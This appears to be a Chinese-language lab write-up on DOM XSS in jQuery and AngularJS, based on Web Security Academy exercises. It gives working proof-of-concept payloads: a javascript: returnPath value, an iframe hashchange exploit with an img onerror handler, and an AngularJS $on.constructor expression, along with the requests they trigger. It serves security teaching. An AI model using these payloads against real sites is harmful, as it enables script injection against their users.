DOM XSS in third-party

現代 Web 應用程式通常是使用許多第三方程式庫和框架建立的,這些程式庫和框架通常為開發人員提供附加功能和能力,所以也是 DOM XSS 的潛在source和sink。

jquery常見的高風險sink

add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()


jQuery sink + window.location.search

jQuery 的attr()函數可以改變 DOM 元素的屬性。 如果從使用者控制的source讀取數據,然後將其傳遞給函數attr(),則可能會操縱發送的值以導致 XSS

請求feedback?returnPath=javascript:alert(1),返回內容如下,

<div class="is-linkback">
     <a id="backLink" href="">Back</a>
</div>
<script>
$(function() {
   $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>

用chrome的inspect看渲染結果如下,可成功觸發xss攻擊

<div class="is-linkback">
     <a id="backLink" href="javascript:alert(1)">Back</a>
</div>
<script>
$(function() {
   $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>

Lab: DOM XSS in jQuery anchor href attribute sink using location.search source


jQuery sink + location.hash

hash是用戶可控的,攻擊者可以利用它注入 XSS ,舉例如下

先準備攻擊頁面exploit-server.net/exploit,內容如下

<iframe src="https://0aff00b9047f752b80a5b37500a40022.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

當受害者訪問exploit-server.net/exploit,會觸發xss攻擊,運作流程如下

############ request ###################
GET /exploit HTTP/2
Host: exploit-server.net
...omit...

############ response ###################
...omit...
<iframe src="https://0aff00b9047f752b80a5b37500a40022.web-security-academy.net/#" onload="this.src+='<img src=xxx onerror=print()>'"></iframe>
...omit...

由於返回內容有iframe src="https://0aff00b9047f752b80a5b37500a40022.web-security-academy.net,所以產生2個讀取請求如下

########### request ############
GET / HTTP/2
Host: 0aff00b9047f752b80a5b37500a40022.web-security-academy.net
...omit...

########### response ############
...omit...
<script>
$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});
</script>
...omit...

從返回的Js中能發現,hashchange會監聽url中#後面的值,window.location.hash.slice(1)會獲取不含#的hash字符串,並用decodeURIComponent進行解碼得到onload="this.src+='<img src=xxx onerror=print()>'",由於img src=xxx因此產生一個請求如下,並觸發xss

########### request ############
GET /xxx HTTP/2
Host: 0aff00b9047f752b80a5b37500a40022.web-security-academy.net
...omit...

########### response ############
...omit...
"Not Found"

不過最新版本的 jQuery 已修復此特定漏洞,阻止您在輸入以hash字元# 開頭時將 HTML 注入

Lab: DOM XSS in jQuery selector sink using a hashchange event


AngularJS

如果使用像 AngularJS 這樣的框架,則可以在沒有<>或事件的情況下執行 JavaScript。AngularJS的ng-app會掃描包含屬性(也稱為 AngularJS 指令)的HTML節點的內容,當指令加入HTML程式碼時,您可以執行{{ }}內的 JavaScript 運算式

例如,在搜尋框輸入{{$on.constructor('alert(1)')()}}以執行 AngularJS 表達式,就會彈出alert信息

############# request #################
GET /?search=%7B%7B%24on.constructor%28%27alert%281%29%27%29%28%29%7D%7D HTTP/2
...omit...

############# response #################
...omit...
<body ng-app>
...omit...
   <h1>0 search results for '{{$on.constructor(&apos;alert(1)&apos;)()}}'</h1>
...omit...

Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded